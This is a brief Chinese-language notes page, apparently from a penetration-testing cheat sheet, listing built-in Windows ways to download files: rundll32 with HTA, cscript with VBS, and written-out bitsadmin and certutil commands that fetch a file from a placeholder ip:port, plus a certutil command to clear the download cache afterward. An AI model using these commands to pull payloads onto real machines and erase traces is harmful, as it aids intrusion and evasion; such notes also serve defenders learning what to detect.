文件下载

windwos

rundll32.exe 加载hta文件
cscript.exe 加载vbs文件

bitsadmins

缺点

只能下载真正的http服务

优点

windwos自带的

指令

bitsadmin /transfer task_name http://ip:port/file filepath

certutil

缺点

需要进行两个操作，首先是下载，然后是清楚缓存

指令

下载:

certutil.exe -urlcache -split -f http://ip:port/file filepath

清除缓存: certutil.exe -urlcache -split -f http://ip:port/file delete

powershell

默认执行策略为restrict